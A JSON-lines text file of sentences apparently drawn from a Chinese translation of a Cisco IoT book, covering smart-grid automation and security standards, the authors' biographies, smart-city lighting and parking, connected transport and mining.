    {"text": "例如，在用电高峰期，电力公司可以向使用某些类型的电力设备（如电热水器）的用户发送广播消息，自动降低这些设备的电力消耗，从而为电网的其余部分提供更多的电力。"},
    {"text": "图11-15 与FAN需求响应控制器相连的电热水器 2.配电自动化 随着变电站通过网络连接实现自动化，从变电站到最终用户的配电网络也在经历一场连接革命。"},
    {"text": "由于将配电控制和自动化设备连接到中央网络的挑战，它们被设计成可以作为自治设备进行工作，在许多情况下，它们具有足够的智能，可以在没有任何监控的情况下运行。"},
    {"text": "这也有助于显著提高配电网电力的可靠性和质量，并开创配电自动化（DA）时代。 DA致力于改善电网的状况、可靠性和电能质量，从而能够降低成本，增加正常运行时间并提升满意度。 DA设备执行许多不同的功能，从测量电力质量到清除线路中的临时故障。"},
    {"text": "图11-16 使用单一的多业务FAN电网网络连接各种DA设备，包括SCADA、FLISR和集成的电压/VAR控制系统 11.6 保障智能电网的安全 初次开发SCADA协议时，几乎没有考虑安全性，因为SCADA是使用物理上隔离的专用串行连接与远程设备相连，并且与任何其他类型的网络没有连接。"},
    {"text": "虽然如此大范围的攻击似乎不太可能，但最近的网络攻击，如乌克兰电网的攻击，表明这种攻击在技术上是可行的，应该引起公用事业运营商及其客户的关注。"},
    {"text": "北美电力可靠性公司（NERC）的关键基础设施保护（CIP）是一个安全模型，是为了保护大容量系统而开发的，它仍然是北美公用事业行业最重要的安全主题之一。"},
    {"text": "尽管NERC CIP是一个关注美国公用事业（以及向美国出售电力的电力公司，如加拿大的电力公司）的安全标准，但是该制度制定的原则为全世界的公用事业提供了一个有益的参考模型。"},
    {"text": "范围内的资产被定义为“如果不可用、降级或滥用，将在折衷方案启动或执行后15分钟内对大容量电力系统（BES）的可靠运行产生不利影响的资产”。"},
    {"text": "NERC CIP的一个关键方面是，无论BES网络系统是否与其他网络有外部连接，都必须为连接到可路由网络的所有高、中影响力的BES网络系统建立ESP。"},
    {"text": "图11-17 具有NERC CIP v6电子和物理安全边界的主变电站网络 11.6.2 智能电网安全考虑 配电网络被认为超出了NERC CIP的范围，因此FAN不包含在这个符合标准的范围内。"},
    {"text": "与前面提到的NERC CIP v6要求一样，遵循深度防御模型并使用一层以上的深度数据包检查是一个好主意，例如理解工业协议（如SCADA）的防火墙和IPS（注意，如果FAN端点在应用层加密，这将限制深度数据包检查的可见性）。"},
    {"text": "这必须在GridBlocks体系结构的每一层都得到解决，要特别关注于特定于公用事业的协议，如SCADA，这些协议在设计时没有考虑到安全性，但是现在通过高度互联的网络进行传输。"},
    {"text": "然而，在这一过程中也存在一些挑战，包括对发电厂排放的污染的担忧、消费者对电力的无止境需求，以及不断扩大电网基础设施的相关成本，更不用说日益复杂的电网的脆弱性。"},
    {"text": "这些挑战包括要求整合由可再生资源产生的电力，比如风能和太阳能，以及集成的分布式能源资源（DER），如太阳能光伏（PV）电池，它是由客户而不是公用事业公司安装和拥有，但是向电网销售电力。"},
    {"text": "一些分析人士预测，随着时间的推移，客户拥有的发电量的增长可能会破坏公用事业的经济基础，到一定程度，它们将被打乱秩序，就像我们在互联网、音乐、零售和其他行业所看到的情况一样。"},
    {"text": "虽然世界各地的公用事业公司严重依赖传统技术和协议，但颠覆性技术和对电网的新需求使电力公司成为最早采用物联网的公司之一。 物联网技术正在推动电网从发电到输电、再到配电各个方面的数字化转型，开启智能电网时代。"},
    {"text": "本章讨论了GridBlocks体系结构的几个元素，包括主要的变电站GridBlock，并讨论了变电站自动化技术，其中重点是SCADA的使用以及通过IEC 61850标准推动标准化。"},
    {"text": "分布式发电、微电网和电动汽车等颠覆性技术不仅以新的方式挑战现有电网，而且是数字化颠覆的主要力量，将为21世纪智能电网的创新创造新的机遇。"},
    {"text": "未知 关于作者 David Hanes，CCIE #3491，是一位专注于物联网的技术领导者，当前供职于云支持技术援助中心（TAC）的Cisco技术服务部门。他在新技术的孵化方面颇有经验，当前作为领导负责为Cisco的IoT云解决方案提供技术支持。他在协作和认知计算等领域也具有技术专长。 在IoT和协作领域，David拥有多项已发布的专利，还有几项专利正在申请之中。他以RFC贡献者和作者的身份，积极活跃于SIP论坛和IETF。David撰写并贡献了多种行业出版物和白皮书，还是Fax, Modem, and Text for IP Telephony一书（由Cisco Press出版）的合著者。他曾在世界范围内的行业和技术会议上发言，并被Cisco Live授予“名人堂演讲者”的荣誉。 自1997年加入Cisco以来，David曾先后担任过广域网、广域网交换和多业务语音团队的TAC工程师、多服务语音团队的领导、处理各种VoIP技术的升级工程师，以及为现场试验提供支持的工程师。在加入Cisco之前，David是Sprint的一位系统工程师，他在Sprint公司第一次获得了帧中继和X.25协议相关的计算机网络经验。他拥有北卡罗莱纳州立大学的电气工程学位。 Gonzalo Salgueiro，CCIE #4541，技术服务部门的首席工程师，当前从事新兴技术以及新兴技术所提供的服务方面的研究。Gonzalo在Cisco工作了20多年，他是多个技术领域（包括协作、ML/AI、云计算和物联网等）的专家和创新者。 Gonzalo是众多行业组织的资深成员，也是一位杰出的演讲人员，会定期在世界各地举办的各种技术行业会议和Cisco活动中发表演讲。他目前担任众多行业的领导角色，其中包SIP论坛的董事会成员、INSIPID和SIPBRANDY IETF工作组的联合主席，IETF物联网理事会的成员，以及SIP论坛中WebRTC任务组、IPv6任务组、FoIP任务组的联合主席。他还是各种行业组织和标准化组织的积极贡献人员。 Gonzalo是Fax, Modem, and Text for IP Telephony一书（由Cisco Press出版）的合著者。他还与人共同写作了24篇IETF RFC、4篇IEEE论文、4篇ITU论文，以及大量关于各种不同技术主题的行业和学术研究论文。他还是65项以上专利（已发布和正在申请中）的共同发明人，并为各种互操作和开源工作做出了贡献。Gonzalo在迈阿密大学获得了物理学硕士学位。 Patrick Grossetete是一名杰出的工程师兼技术营销人员，在Cisco物联网连接团队（Internet of Things Connected Group）从事现场通信架构和设计相关的工作。他原来供职于Arch Rock公司（该公司后来被Cisco收购），在该公司担任产品管理和客户解决方案主管，重点研究IPv6无线传感器网络技术在智能电网、能源和环境优化中的应用。 此前，Patrick是Cisco公司一个产品管理团队的领导，负责Cisco IOS软件技术，其中包括IPv6和IPv6移动性。Patrick定期在包括IPv6论坛在内的会议和行业活动中发言（他在1999年作为Cisco公司的代表加入了IPv6论坛）。Patrick还是欧盟委员会资助项目（包括GEANT和ENVIROFI）的审稿人。 Patrick是Global IPv6 Strategies和Deploying IPv6 Networks两书（由Cisco Press出版）的合著者，还与他人共同写作了多篇白皮书，比如Unified Field Area Network Architecture for Distribution Automation（2014）和IPv6 Architecture for Field Area Networks（2012）。在2003年6月，他在圣地亚哥峰会上获得了IPv6论坛互联网先锋奖，现在是IPv6论坛的研究员。在Cisco和Arch Rock工作之前，Patrick在数字设备公司担任咨询工程师，提供网络设计和部署方面的咨询。他在法国巴黎控制数据研究所获得了计算机科学学位。 Rob Barton，CCIE #6660（R&S和安全），CCDE #2013:6，是Cisco数字化转型与创新组织的首席系统工程师。Rob是一名注册专业工程师（P.Eng），在IT行业工作了20多年，其中的后17年在Cisco工作。Rob毕业于英属哥伦比亚大学，获得了工程物理学学位，他当时专攻计算机和无线电通信方向。Rob感兴趣的领域包括无线通信、IPv6、IoT和工业控制系统。Rob还是End-to-End QoS，2nd Edition（由Cisco Press出版）的合著者。他现在与妻子和两个孩子居住在加拿大温哥华。 Jerome Henry，CCIE #24750，是Cisco公司企业基础设施和解决方案部门的首席工程师。Jerome有15年以上的Cisco技术课程授课经验，先后在15个以上的国家采用4种语言进行授课，其受众涵盖了本科生、网络从业人员以及Cisco内部系统工程师。Jerome凭借其在无线和网络方面的专长，于2012年加入Cisco公司。在此之前，他供职于欧洲航空航天局的一个团队，负责异构网络和无线集成方面的咨询和讲解。这个团队后来被Cisco收购，在Cisco公司负责提供无线解决方案。随后，他与Cisco Learning部门的同事工作过一段时间，负责网络课程的开发，以及编写新兴技术的培训材料。 Jerome是一位无线网络认证专家（CWNE #45），开发了多门Cisco课程，写作了多本无线书籍，还录制了多个视频课程。Jerome也是IEEE的成员，于2013年升级为高级会员，他还参与了WiFi联盟工作组，重点关注IoT和低功耗。Jerome凭借其10000多小时的课时，荣获IT培训最佳教师银奖。他住在北卡罗来纳州的三角研究园。"},
    {"text": "今天，北美、欧洲、拉丁美洲和加勒比地区居住在城市中的人口比例已经超过了70%。 从原始数据来看，世界城市人口已从1950年的7.46亿增长到近40亿。"},
    {"text": "提高管理效率意味着提供更好和更有效的城市服务，简而言之就是确保城市居民有更好的生活体验，能利用大量城市人口的经济利益，同时减轻随之而来的社会和环境困难。"},
    {"text": "■ 智慧城市物联网架构：本节描述智慧城市物联网集成的4个主要层次。 ■ 智慧城市安全架构：本节从通信和收集数据的可接受用途两个方面考察智能城市物联网安全的主要制约因素和考虑因素。 ■ 智慧城市用例示例：本节详细介绍了物联网在智慧城市中的4个用例：街道照明、智能停车、交通和智能环境。"},
    {"text": "为了实现价值最大化，智慧城市可以通过共享收入的商业模式与特殊的合作伙伴结合使用案例，为零售和旅游、城市规划、停车和水资源管理等城市定位服务创收。"},
    {"text": "■ 智能建筑：智能建筑通过高效集成采暖、通风、空调（HVAC）和其他建筑基础设施系统来降低能耗，从而降低运营成本，这些举措有可能节省1000亿美元。"},
    {"text": "图12-1 智慧城市的关键用例 为了最大化能源和环境投资的投资回报，智慧城市可以采用水管理、智能电网、废物管理、颗粒物监测和气体监测的策略。"},
    {"text": "每个智能城市都需要一个定制的、结构化的计算模型，该模型允许对数据进行分布式处理，具有一定的弹性、规模、速度和可移动性，使得生成的数据在经过网络处理后得到价值，并能高效有效地交付这一价值。"},
    {"text": "下文将讨论针对特定应用选择传感器的各种注意事项，并提供技术网络需求的示例，以支持传感器并通过信息和通信技术（ICT）连接来驱动实时解决方案。"},
    {"text": "12.2.1 街道层 街道层由设备和传感器组成，这些设备和传感器收集数据并根据整个解决方案中的指令采取行动，以及整合和收集数据所需的网络组件。"},
    {"text": "■ 设备计数器对该区域内的设备数量进行了估算，从而大致了解在街道、公共停车场移动或停放的车辆数量、人行道上的行人数量，甚至是公园或公共纪念碑上的鸟类数量，鸟数量的控制在城市中已经成为一个问题。"},
    {"text": "例如，停车位可用性传感器可能是用户通过应用程序可以使用的封闭系统的一部分，或者它们可能必须通过开放API与其他系统（如拖车公司、公共执法机构、停车计时器等）进行交互。"},
    {"text": "LoRaWAN正在成为跨多个垂直领域的智慧城市传感器的主要协议。 LoRaWAN很好地适应了城市环境所需的范围类型以及大多数智慧城市传感器所需的数据交换类型（第4章提供了关于LoRaWAN的详细信息）。"},
    {"text": "然而，网络需要足够广泛且不受供应商限制，以使这些网关能够与更大的网络和终端节点进行通信，这些终端节点可以桥接低功耗协议（如ZigBee到IP），并满足主机的其他通信需求。"},
    {"text": "例如，显示停车位是否被占用的数据可以驱动市民使用停车位应用程序、加强执法人员对公共停车位的状态（使用和支付）的了解，同时帮助从城市运营商的角度去审视特定时间的停车问题。"},
    {"text": "该体系结构为应用程序开发人员和传感器供应商提供了必要的工具，通过开放API、软件开发工具包（SDK）、城市信息模型等来创新和发明新的社区体验，以开发符合城市标准的应用程序，从而驱动高价值的智慧城市服务。"},
    {"text": "理想情况下，一个利用ICT连接的智慧城市将使用云计算架构，但如果这是不可能的，这个城市需要在城市层的网络组件（例如，交换机、路由器）上投入更多，并且仍然可能无法在其设计中实现相同的跨域价值主张和可扩展性。"},
    {"text": "一个城市可以从传统的网络设计和内部托管开始，目的是保护数据，但是它可能很快就会得出结论：本地数据中心的能力落后于云托管数据管理为城市提供的能力。"},
    {"text": "提高这类数据的盈利能力的一个可能方法是将其卖给保险公司，保险公司希望向在街上（而不是在有遮盖和安全的车库里）停车的车主收取额外的保费。"},
    {"text": "如果收集该数据，则应该决定是否使用在线处理过程（在该过程中，信息用于分析，但个人识别数据未被存储，因此立即忘记）或更传统的分析流程（临时存储数据，要么是因为该算法需要避免重复，要么是因为轨迹确定是数据处理的一部分）。"},
    {"text": "12.4.1 互联路灯 根据纽约州环境保护部的数据显示，在所有的城市公用事业中，街道照明是市政公用事业支出中最大的开支之一，占总额的40%。"},
    {"text": "例如，LED的颜色或光照强度可以根据现场要求进行调整（例如，在城市中心，LED有温暖的颜色和较低的亮度，在高速公路上有阳光般的清晰度，有与时间和天气相适应的强度和颜色）。"},
    {"text": "一个全面的智能照明解决方案能够实现一个融合和网络化的系统，该系统集成了基于LED的灯具和动态照明控制，由本章前面讨论的分层智能城市架构提供支持，该架构易于扩展，可以支持其他用例和解决方案，从而使城市受益。"},
    {"text": "在大多数情况下，传感器网关充当应用程序和路灯（灯光控制节点）之间的中间系统。 网关将来自应用程序的指令中继到路灯并存储本地灯光事件以供应用程序使用。"},
    {"text": "照明节点在行业中差异很大，特别是在它们使用的通信协议（例如，WiFi、cellular、ZigBee、802.15.4g [Wi-SUN]、LoRaWAN）、强度级别和车载传感器功能等方面。"},
    {"text": "例如，城市中心可能很容易部署WiFi（由于靠近以太网或互联网干线，覆盖范围约为100米，城市设施密度高，提供了大量中继和网关选项），而高速公路可能要求提供更大范围的解决方案，如cellular或LoRaWAN。"},
    {"text": "在所有情况下，图12-2所示的四层体系结构所提供的内置多功能确保了所有不同类型的技术都可以灵活地整合到解决方案中，以适应任何城市拓扑结构。"},
    {"text": "例如，LED灯泡通常配备有基本传感器，可以检测光（驱动本地开/关和调光动作），还可以检测许多其他环境参数，如温度、运动、压力或湿度。"},
    {"text": "还可以添加监测功率、测量氧气和二氧化碳浓度、测量污染或颗粒物的数量、检测长波紫外线的水平（UVA）和短波紫外线B（UVB）辐射水平等功能，以提供额外的价值和服务（例如，污染监测、花粉警报、电网监控）。"},
    {"text": "将物联网用于路灯可以提供大量有用的应用，因此，路灯通常被用作智慧城市部署的入门级物联网功能。 市政当局通常将节约能源成本作为首要任务，并很快意识到，在已经部署的物联网路灯基础设施上增加传感器，可以为城市管理带来重大效益和优势。"},
    {"text": "■ 停车执法人员：这些用户可能需要实时更新某个区域的停车变化情况，以便能够立即采取执法行动，例如向时间即将到期的市民发出罚单或警告。"},
    {"text": "他们的重点是为城市创造收入，并通过大规模实施停车监控和执法来尽量减少浪费的时间（也就是说，不需要查看每一辆车的情况，因为只有小部分被检查的车辆实际上需要采取行动）。"},
    {"text": "一个智能城市交通解决方案将结合人群数量、交通信息、车辆数量等，发送与道路事故相关的事件，以便街道上的其他控制器可以采取行动。 1.智能交通控制架构 在图 12-9 所示的架构中，视频分析传感器基于视频计算交通事件，并仅通过网络推送事件（车辆数量或元数据，而不是单个图像）。"},
    {"text": "无数应用程序利用外包或传感器提供的信息来提供实时的出行时间估计，建议重新选择路线以避免拥堵点，或简单地找到两点之间的最佳路径，同时考虑到交通、道路工程等。"},
    {"text": "考虑到空气质量监测站的价格和规模，城市无法负担所需数量的监测站，以便在局部水平上提供准确的报告，并跟踪污染物在城市中随时间流动的情况。"},
    {"text": "为了在短期和长期内全面解决空气质量问题，智慧城市需要在任何特定时间以超本地化、实时、分布式的方式了解空气质量。 为了获得这些指标，智慧城市需要在以下方面进行投资： ■ 开放数据平台，利用现有的空气质量监测站获得当前的空气质量测量数据；"},
    {"text": "2.互联环境架构 图12-10展示了一个架构，在这个架构中所有连接环境元素都覆盖在本章前面介绍的通用四层智慧城市物联网架构之上。 图12-10 互联环境架构 如图12-10所示，在街道层有各种多厂商传感器产品，它们使用各种通信协议。"},
    {"text": "然而，由于WiFi需要保持802.11连接，这会消耗电池资源，因此，WiFi并不能很好地适应报告零星出现的网络（不过，新的WiFi实现，如Wi-Fi联盟物联网低功耗和802.11ah，可以解决这个问题）。"},
    {"text": "在更大的环境中，使用的是LPWA技术，如NB-IoT和LoRaWAN，除非传感器能够使用有线技术（例如，连接到有线照明基础设施时），但由于成本的原因，这种情况非常罕见。"},
    {"text": "可以传达不同的污染水平，可以跟踪气体在城市中的扩散，无论是由于风还是因为气体源的运动（例如，早上和晚上通勤者的钟摆式运动，密集的交通路线形成了污染模式）。"},
    {"text": "物联网可以显著降低城市能源成本，同时利用现有的路灯基础设施，并与其他智慧城市应用（例如污染或交通检测）相结合，从而产生非常小的溢价。 智能停车是物联网带来巨大效益的另一个例子，它可以减少城市拥堵，提高市民驾车的生活质量。 与停车相关，智能交通控制是另一种智慧城市解决方案，可以用来调节车流，提供最佳的路线选择。"},
    {"text": "有了更强大和更便宜的发动机，商用车、客车、公共汽车、火车（包括地下、地上、轨道和有轨电车）和各种型号的飞机的数量在20世纪都呈指数级增长。"},
    {"text": "■ 运输业物联网用例：本节提供了多个例子，用于说明物联网如何显著改变运输行业和出行体验。 ■ 运输行业的物联网架构：本节详细介绍本章涵盖的运输行业的物联网架构——道路上的个人车辆、公共交通巴士和火车。"},
    {"text": "13.1 交通和运输业系统 交通运输业包括多个子行业：公共交通（包括地铁、轻轨、电车、轮渡和公共汽车）、铁路、公路、航空、海运、货运和物流以及客运车辆。"},
    {"text": "在这一领域，物联网可以通过提供有关车辆状态的详细信息并预测任何零件的损耗或故障来帮助改善旅程体验。 智能物体还可以帮助车辆及其驾驶员与更大的道路基础设施进行通信，以预测障碍物或更好地了解行驶状况。"},
    {"text": "在部署了成百上千的车辆和人员的情况下，组织需要能够了解每辆车的位置，查看机械问题的预警，简而言之，可以查看和管理整个车队，而无须依靠每辆车的司机的简单汇报。"},
    {"text": "在此，物联网提供了强大的工具，将单个车辆监控（为车辆工作人员的利益）与中央报告相结合，以帮助车队管理团队自动化维护需求警告、帮助定位每辆车并优化团队轮换，并使用大数据有效地管理车队的运营。"},
    {"text": "然而，铁路子行业在本章中有一个单独的小节，因为城际列车包括货物列车和客运列车（而城际列车通常主要载客），以及城市轨道交通通常面临的挑战并不总是适用于铁路运输。"},
    {"text": "因此，铁路行业面临着多重挑战：确保乘客安全，在任何意外情况下按时运行列车，提供足够高质量和舒适的乘客体验，使乘客愿意再次乘坐火车。"},
    {"text": "物联网可以用来追踪货物，提供旅程的实时视图（延迟、预期到达时间等），同时通过跟踪和报告机载设备状况（从厕所故障警报到售出的三明治数量）帮助优化出行体验，以便进行有效的、有针对性的维护。"},
    {"text": "13.2.4 交通运营商和用户面临的挑战 考虑公共交通和私人交通的挑战时，我们会发现有不同的参与人员，在不同的规模上运作，有着不同的需求。"},
    {"text": "借助物联网，汽车可以与道路基础设施进行通信，对任何即将出现的问题（事故、路障等）发出警告，并提供预期旅程的视图（出行时间、天气状况等）。"},
    {"text": "如果所需的工具丢失，可以将车辆送至集合点，或改派一名附近的工作人员前往，而另一队人马将被派遣到另一个任务，对此任务而言车辆有适当的设备。"},
    {"text": "由于公共交通比单个车辆效率更高（在单位道路或轨道空间上运送的乘客数量方面），这些运营商必须平衡道路上的车辆数量和运营车辆的成本。"},
    {"text": "因此，市政当局（通常是对公共交通的新资金进行投票的市民）有权决定需要修建哪条新轨道，哪条街道可以使用，哪条道路可以通行，以补充其他交通系统。"},
    {"text": "在城市公共交通中，出行人员可能会选择开车而不是乘坐公共交通工具，但是直接的替代选择（另一辆公共汽车或地铁）通常更容易获得，以改善糟糕的出行体验。"},
    {"text": "13.3 运输业物联网用例 对于上述所有需求，物联网带来了强大的优势：收集本地数据，在任何范围内共享这些数据，并提供工具来处理收集的数据，以便更好地优化车辆和整个交通基础设施。"},
    {"text": "一个众所周知的故事发生在南美洲的一个大城市（在一些独立的公共交通优化专家圈子里），这个城市的当局考虑将优化公共汽车出行效率的任务委托给个体司机。"},
    {"text": "司机只走捷径，绕过拥挤的街道，还绕过乘客较少的车站（不关心乘客期望在绕过的车站上下车），争相在客流量大的车站载客，因而引发道路纷争和竞争。"},
    {"text": "物联网在这个方面提供了更好的解决方案，因为信息可以同时是本地的和全局的，可以提供给多个利益相关者，他们都可以从系统获得的知识中受益。"},
    {"text": "当其他车辆驶近某一特定区域时，他们就会收到由当地事故引起的交通堵塞、由于路面溢油而造成的湿滑状况，或由于路灯损坏或铁路枢纽系统故障而造成的交通困难的警告。"},
    {"text": "这种通信意味着必须有一个车对车（V2V）、信息交换系统（在提供有用信息的同时保护您的隐私）和一个车对基础设施（V2I）信息交换系统，以便在相关的地方提供本地信息。"},
    {"text": "13.3.3 基础设施和公共交通 在更广的层面上，信息交换系统意味着基础设施可以与车辆通信，收集基于数百个传感器的车辆信息（例如位置、速度、车辆运行状态），并将其传送到互联网，还可以向车辆发送有关当地情况的信息。"},
    {"text": "它们可以告诉你当前的交通状况，并且它们可以结合预测的交通状况变化并相应地修改它们的预测，但是它们不能修改道路的状态或协调发送给多个用户的响应。"},
    {"text": "如果1000个用户都在朝同一拥堵路段导航，物联网可以动态地向不同用户推荐不同的路线，从而在第一时间避免拥堵（而不是简单地告诉你已经发生拥堵，并建议重新规划路线）。"},
    {"text": "这种动态系统可以与动态自适应收费和高载客率车辆（HOV）规则相耦合（在许多城市，HOV车道是为搭载两名或两名以上乘客的车辆保留的）。"},
    {"text": "当你走向公共汽车站时，一条发送到特定号码（包括公交ID信息）的短信或一个手机应用程序可以显示最近的公共汽车站位置和预计的等待时间。 当在公共汽车站等车时，智能面板可以显示下一辆公交车的预计等待时间和到任何目的地的估计行程时间。"},
    {"text": "例如，在拥挤的交通中造成车祸的一个主要因素是车辆走走停停的状况（当车辆以中速或高速行驶，然后突然停止，然后又加速）。 走走停停的原因是众所周知的：交通密度（合并车道）、路边的干扰（交通事故、路边的异常现象）、恶劣的天气（雨或雾）、交通灯，以及车道变窄。"},
    {"text": "从车辆和基础设施上的传感器收集的交通密度信息，例如，车辆计数摄像机、记录车辆和速度的压力电缆，或者沥青中的光纤电缆可以通过估计当地车辆对沥青的压力变化而产生的光束偏差来测量交通密度，可以动态地适应当地情况，协调灯光，解决停车和通行问题，增加整体交通流量。"},
    {"text": "当交通繁忙的道路上发生事故时，成百上千的司机会打电话给紧急服务中心报告事故，紧急服务中心必须确定每个电话是与一个新的事故相关还是与一个已经派出救援队伍的事件相关。"},
    {"text": "这些物联网解决方案还通过提供准确的交通信息、智能地图和旅程规划，使城市内的公交乘客受益。 将物联网应用于大型交通工具也能极大地改善出行体验。"},
    {"text": "在过去，传统的铁路维护都是目视检查，这需要时间，而且可能会导致部分铁路无法使用（因为检查人员需要缓慢而仔细地检查每一米电力线）。"},
    {"text": "一旦与电力线的接触超出了可接受的范围（以作为基线的多次跳闸为基础），传感器就会自动发送带有精确GPS坐标的警报，允许在损坏变得严重之前派遣维修人员。"},
    {"text": "火车通过时，火车的每列车厢连同其顺序被确认（往往车厢从一列火车换到另一列火车时会有变化，使单独跟踪一列车厢成为非常具有挑战性的任务），同时还有一些有用的数据，如列车上厕所储水池中的可用水位、出售食品的详细信息，或运载货物的标识符。"},
    {"text": "这种系统可以测量地下水位（如果地面积水，会影响铁路路堤）和山体滑坡，还可以将过往列车的图像与平均值进行比较，从而检测出异常的侧弯或其他异常。"},
    {"text": "交叉口也是物联网的关键位置，传感器可用于交叉口，探测正在靠近的列车（及其速度）、故障信号或障碍物，或轨道上的车辆，并生成主动报警或紧急停车。"},
    {"text": "与大数据处理引擎相连接的摄像头可以检测人群密度，预测高峰时段，还可以检测到自动分类的异常动作（不稳定的货物装载、攻击、事故、坠落等），并可以面向对象触发警报。"},
    {"text": "在物联网领域，这种通信被称为V2V（车对车）和V2I（车对基础设施），有时也称为V2X（车对一切），包括V2P（车对行人）、V2N（车对网络）和其他不同形式。"},
    {"text": "2.蜂窝技术/LTE 蜂窝技术用于一些V2X应用程序，但更常见于道路到基础设施的通信（安装在道路或路边物体上的传感器和对象与网络进行通信，汇报其状态）。"},
    {"text": "尽管WiMAX确实在物联网的最后一公里或回程应用中占有一席之地，可以很好地适用于道路空间的物联网（见图13-3），但它最初未能在这一领域得到广泛采用。"},
    {"text": "OBU监听静态信道（178），验证RSU数字签名，首先执行安全应用程序（如果有的话），其次切换信道并执行不安全应用程序，最后OBU返回178信道收听下一个RSU通告。"},
    {"text": "例如，在美国，可用频谱被划分为7个10 MHz宽的信道（信道172、174、176、178、180、182和184），在典型的300～1000米范围内允许6～27Mbit/s的数据速率。"},
    {"text": "在这种情况下，可在RSU或路灯处安装具有交通信号优先权（TSP）能力的交通信号控制器（TSC）。 该功能允许应急车辆在RSU范围内通过DSRC控制路灯。"},
    {"text": "然后可以将数据转发给不同的参与者（汽车制造商、车队管理控制中心、交通管理部门、应急服务部门等），在这些参与者的数据中心中对数据进行处理。"},
    {"text": "当传感器直接集成到路边的物体中时（也就是说，路边的物体不是用来与车辆通信的，而是用来收集它们自己的数据集，如桥梁振动监测），要转发的数据量更为有限。"},
    {"text": "根据这个逻辑，车辆包括一个连接摄像头和机组CAD系统的交换机（通常是一个平板电脑或笔记本电脑，可以安放在车内，当驾驶员需要处理车辆外部的信息时，可以将其卸下）。"},
    {"text": "在公共汽车上，公共汽车站也配备了蜂窝网络连接（或在密集的城市环境中配备WiFi）以向运营中心提供信息（例如，在公共汽车站基于视频自动对乘客计数），并将信息返回到汽车站（例如，带有等待时间的智能面板）。"},
    {"text": "每个停车场的WiFi接入点通常通过IP/MPLS城域网与中央运营中心进行通信，在中央运营中心，由一个中央无线LAN控制器负责管理通道、电源和单独车辆的WiFi连接（认证、防火墙等）。"},
    {"text": "系统需要安全地连接到每辆车的车载系统，并检索有关车辆的信息（燃料、各种设备的状态、位置等），也可能连接到数以百计的其他系统（客户交互中心、票务或计费、日计划、燃料或零件供应链，以及专业的设备管理系统，如卡车车斗、车载摄像头等）。"},
    {"text": "因此，它们消耗大量的能量只是推动卡车质量通过空气，空气以湍流的形式回流到卡车后面几十米处，而卡车后面的空气则以卡车的速度流动，排好队后，几辆卡车近距离地彼此紧跟着。"},
    {"text": "■ 由于后面的每辆卡车都是根据前一辆卡车的速度来设定速度，所以不需要每个司机主观判断前一辆卡车的速度，在油门踏板和刹车之间交替切换，以适应变化和地形。"},
    {"text": "在车里，传感器至控制单元越来越受到协议的保护，如802.1 Xbx（一种协议，为基于端口的网络访问控制提供MACsec密钥协议[MKA]协议扩展），以避免任何第三方连接到汽车内部通信系统，从数据中获取出行或开车的方式。"},
    {"text": "DSRC还可以在行驶过程中用于将位置和轨迹（以及运行数据，如燃料水平、轮胎压力和其他可能指示公共汽车需要维修的元件）传递到控制中心。"},
    {"text": "在这两种情况下，车辆位置跟踪都是在云端处理的，并传送到车站或车站的智能面板上，这可以帮助出行人员找到最佳的交通方案，并了解城市的拥堵点。"},
    {"text": "图13-12 互联铁路物联网架构 在列车内部，列车主动控制（PTC）和列车管理计算机（TMC）系统集成了控制列车运行的命令、控制、通信和信息网络。"},
    {"text": "每辆车都有自己的摄像头、交换机、传感器、AP、通信模块、加固的服务器（用于视频监控、传感器数据存储等）和路由器，与铁路边的基础设施独立通信。"},
    {"text": "图13-13 列车半分布式车载物联网模块化架构 在这种半分布式模型中，每个车厢都有自己加固的交换机、摄像头、传感器和AP，用于实现其监控和连接功能。"},
    {"text": "但是，火车车厢有不同的类型（图13-13中的示例中有3种），每种类型都添加了一个特定的组件，而不是在所有火车车厢中都存在的组件（例如加固的路由器、通信模块或服务器）。"},
    {"text": "其中一个AP（通常是与包含路由器的车厢相关联的AP）充当根接入点（RAP），而其他车厢中的AP是网状接入点（映射），如图13-14所示（关于网状WiFi的详细讨论，请参阅第14章。"},
    {"text": "RAP可以通过路由器连接到路轨无线系统（蜂窝）甚至卫星连接。 当轨道沿线有WiFi连接时，RAP可以连接到另一个配置为无线客户端的AP（例如，工作组网桥[WGB]）。"},
    {"text": "火车站要大得多，需要允许多种服务的连接，包括智能面板和数字标牌、票务系统、照明和空调系统、视频监控以及多个第三方系统（ATM、停车场、商店等）。"},
    {"text": "802.1AE也称为MACsec，是一种协议，它通过独立于媒体访问的协议和实体指定无连接的用户的数据保密性、帧数据完整性和数据来源真实性，而且这些协议和实体对MAC客户端是透明的。"},
    {"text": "未知 第14章 采矿业 “采矿”一词常与黑白老照片联系在一起，老照片中，勤劳的工人扛着镐和矿灯进入黑暗的地下隧道，将矿石或废石装入小型轻轨车辆中。"},
    {"text": "■ 当今采矿业及其挑战：本节概述采矿业，并将帮助您了解该行业的工具、规模、限制和挑战。 ■ 物联网在现代采矿业中的挑战：本节探讨在采矿业环境中部署物联网解决方案的具体挑战。"},
    {"text": "■ 采矿业物联网战略：本节详细介绍物联网改善采矿作业的多种方式，从提高安全性和效率到雷电和危险气体安全、坡度和环境监测以及定位服务。 ■ 采矿业物联网体系结构：本节详细介绍用于采矿业的物联网网络的体系结构，从客户端到访问层，再到核心网络及其安全性。"},
    {"text": "图14-1 采矿业的生命周期 14.1 当今采矿业及其挑战 在过去50年中，采矿作业的规模有了巨大的增长，与此同时，开采矿物的工艺和效率有了很大的改进。"},
    {"text": "许多露天矿都有几个相邻的深坑（见图14-3），这些深坑都有长长的、蜿蜒的运输道路，这些道路都是供被称为“牵引卡车”的巨型自卸卡车通过的。"},
    {"text": "图14-2 亚利桑那州的一个露天矿 图14-3 有大型运输卡车的露天矿坑 图14-4 一辆典型的用于铜矿开采的运输卡车 这种巨大的规模并不是地表采矿作业所特有的；"},
    {"text": "有时，整个城镇，包括住房、购物、学校、医疗设施、保安和娱乐，都是由矿业公司建造和运营的，以满足那些与现有城镇之间距离太远的地方的工作生活需求。"},
    {"text": "如果考虑到由于操作距离遥远、规模庞大、固有的安全考虑因素以及使用大型重型设备和炸药所产生的额外风险，物理安全和网络安全通常是煤矿经营公司最关心的问题。"},
    {"text": "14.2.1 OT在采矿业中发挥的作用 与其他行业一样，矿业行业对传统企业IT网络的目标和要求与OT有很大不同（IT和OT的概念在第1章中介绍和讨论）。"},
    {"text": "此外，许多矿山所在的地方甚至没有蜂窝网络覆盖，这意味着矿山运营商往往需要部署自己的无线通信基础设施，并可能依赖卫星通信提供一些数据服务。"},
    {"text": "表14-1总结了采矿方面的一些环境挑战和可能的解决办法。 表14-1 环境因素及可能的解决方案 ■ 规模：采矿业的规模与大多数行业完全不同。"},
